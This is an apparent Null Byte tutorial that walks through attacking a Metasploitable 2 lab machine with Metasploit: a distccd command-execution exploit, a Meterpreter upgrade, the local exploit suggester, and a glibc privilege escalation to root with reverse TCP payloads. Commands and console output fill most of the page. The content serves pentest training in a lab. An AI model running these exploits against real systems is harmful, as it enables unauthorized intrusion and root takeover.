How to Get Root with Metasploit's Local Exploit Suggester « Null Byte :: WonderHowTo

So you've managed toget a shellon the target, but you only have measly low-level privileges. Now what? Privilege escalation is a vast field and can be one of the most rewarding yet frustrating phases of an attack. We could go the manual route, but like always,Metasploitmakes it easy to performlocal privilege escalationand get root with its exploit suggester module.To run through the process, we're usingKali Linuxas the attacking machine andMetasploitable 2as the target. You can set up or use a similar pentesting lab — or the same one — to follow along with the guide below.Step 1: Get Session on TargetThe first thing we need to do is get asession with low privilegeson the target. We can easily do this with Metasploit. Typemsfconsolein theterminalto launch it.~$ msfconsole

[-] ***rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***

                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________   ,&$$$$$$'_____
                                                                 ll&&$$$$'
                                                              .;;lll&&&&'
                                                            ...;;lllll&'
                                                          ......;;;llll;;;....
                                                           ` ......;;;;... .  .

       =[ metasploit v5.0.20-dev                          ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post       ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]

msf5 >Metasploitable contains a vulnerable service called distccd, which is used to distribute program compilation across multiple systems, speeding things up by taking advantage of combined processor power. Unfortunately, this version of the program allows a remote attacker to execute arbitrary commands on the server.We can search for the exploit using thesearchcommand:msf5 > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command ExecutionTo load the module, typeusefollowed by the full path of the module:msf5 > use exploit/unix/misc/distcc_execWe can now see the available settings with theoptionscommand:msf5 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   3632             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic TargetIt looks like we only need to set the remote host address since theremote portis already set using the default port number. Use thesetcommand to specify the appropriate IP address of the target:msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.0.50

rhosts => 10.10.0.50Now we are ready to launch the exploit . Use theruncommand, which is just a shorter alias for exploit:msf5 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 10.10.0.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sWI9yfQYbPxuIGrh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sWI9yfQYbPxuIGrh\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.0.1:4444 -> 10.10.0.50:58006) at 2019-11-19 11:46:02 -0500

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxWe can see that a command shell was opened, and runninguname -averifies we have compromised the target.Step 2: Upgrade to MeterpreterTo use Metasploit's local exploit suggester, we need toupgrade our basic Unix command shellto a Meterpreter session. While still in the basic command shell, pressCtrl-Zto background the session. HitYif it asks you to background it.Background session 1? [y/N]  y
msf5 exploit(unix/misc/distcc_exec) >We are now dropped back to the main Metasploit prompt, and we can verify any sessions we have running in the background with thesessionscommand:msf5 exploit(unix/misc/distcc_exec) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)The easiest way to upgrade a regular shell to a Meterpreter session is to use the-uflag followed by the session number to upgrade:msf5 exploit(unix/misc/distcc_exec) > sessions -u 1

[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.0.1:4433
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 2 opened (10.10.0.1:4433 -> 10.10.0.50:32979) at 2019-06-19 11:47:52 -0500
[*] Command stager progress: 100.00% (773/773 bytes)We can see the post module that runs and a new session is opened. We can again verify this with thesessionscommand:msf5 exploit(unix/misc/distcc_exec) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                Connection
  --  ----  ----                   -----------                                                ----------
  1         shell cmd/unix                                                                    10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)
  2         meterpreter x86/linux  uid=1, gid=1, euid=1, egid=1 @ metasploitable.localdomain  10.10.0.1:4433 -> 10.10.0.50:32979 (10.10.0.50)And we can interact with our new Meterpreter session using the-iflag on the desired session:msf5 exploit(unix/misc/distcc_exec) > sessions -i 2

[*] Starting interaction with 2...

meterpreter >Step 3: Run Exploit SuggesterMetasploit post modules work by running on a background session, not directly in the session itself, so background session 2 (our Meterpreter shell) and return to the main prompt. We can then load the local exploit suggester using the following command:msf5 exploit(unix/misc/distcc_exec) > use post/multi/recon/local_exploit_suggesterWhen we take a look at the options, we only need to specify the session we want to run this on:msf5 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploitsSimply set the session to number 2, which is our Meterpreter shell:msf5 post(multi/recon/local_exploit_suggester) > set session 2

session => 2And typerunto kick it off:msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.0.50 - Collecting local exploits for x86/linux...
[*] 10.10.0.50 - 26 exploit checks are being tried...
[+] 10.10.0.50 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 10.10.0.50 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 10.10.0.50 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] Post module execution completedWe can see the module checks a number of local exploits and returns a few that seem viable. Awesome.Step 4: Get RootThe final thing we need to do is use one of these exploits to get root on the system. We'll try the first one that was suggested to us. This exploit takes advantage of a vulnerability in the glibc dynamic linker, in which the LD_AUDIT environmental variable allows loading of a setuid object that ultimately runs with root privileges.msf5 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_escLooking at the options, we only need to set the session again — the default executable path will work for now:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on.
   SUID_EXECUTABLE  /bin/ping        yes       Path to a SUID executable

Exploit target:

   Id  Name
   --  ----
   0   AutomaticSet the session just like before:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 2

session => 2We can alsoset the payloadto give us another Meterpreter session when the exploit completes:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp

payload => linux/x86/meterpreter/reverse_tcpAnd set the appropriate listening host (the IP address of our local machine) and port:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lhost 10.10.0.1

lhost => 10.10.0.1

msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lport 4321

lport => 4321Finally, typerunto launch the exploit:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 10.10.0.1:4321
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.BlrZu4n' (1271 bytes) ...
[*] Writing '/tmp/.18qZUt' (281 bytes) ...
[*] Writing '/tmp/.DoiFwlxPt' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 3 opened (10.10.0.1:4321 -> 10.10.0.50:56950) at 2019-11-19 11:57:19 -0500

meterpreter >We now have a new Meterpreter session on the target, and we can drop into a shell to verify we have obtained root access:meterpreter > shell
Process 4886 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=1(daemon)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxWrapping UpIn this tutorial, we learned how to use Metasploit to get a shell on the target, upgrade that shell to a Meterpreter session, and use the local exploit suggester module to ultimately get root on the system. Metasploit not only makes initial exploitation easy but the post-exploitation phase as well. Inthe next article, we will explore some useful post modules to quickly gather information about the target.Next Up:How to Quickly Gather Target Information with Metasploit Post ModulesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPixabay/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Find Exploits & Get Root with Linux Exploit SuggesterHow To:Identify Missing Windows Patches for Easier ExploitationHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Like a Pro:Getting Started with MetasploitHow To:Get Root Filesystem Access via Samba Symlink TraversalHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHow To:Quickly Gather Target Information with Metasploit Post ModulesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Create a Metasploit Exploit in Few MinutesHow To:Get Root Access on OS X Mavericks and YosemiteHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Hack Metasploitable 2 Including Privilege EscalationHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFReal Scenarios #2:The Creepy Teacher [Part 2]How To:Exploit Java Remote Method Invocation to Get RootSEToolkit:Metasploit's Best FriendHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)How To:Exploit EternalBlue on Windows Server with MetasploitHack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Creating a (Almost) Fully Undetectable EXE Using Kali & GCCHow To:Perform Local Privilege Escalation Using a Linux Kernel ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+Drive-By Hacking:How to Root a Windows Box by Walking Past It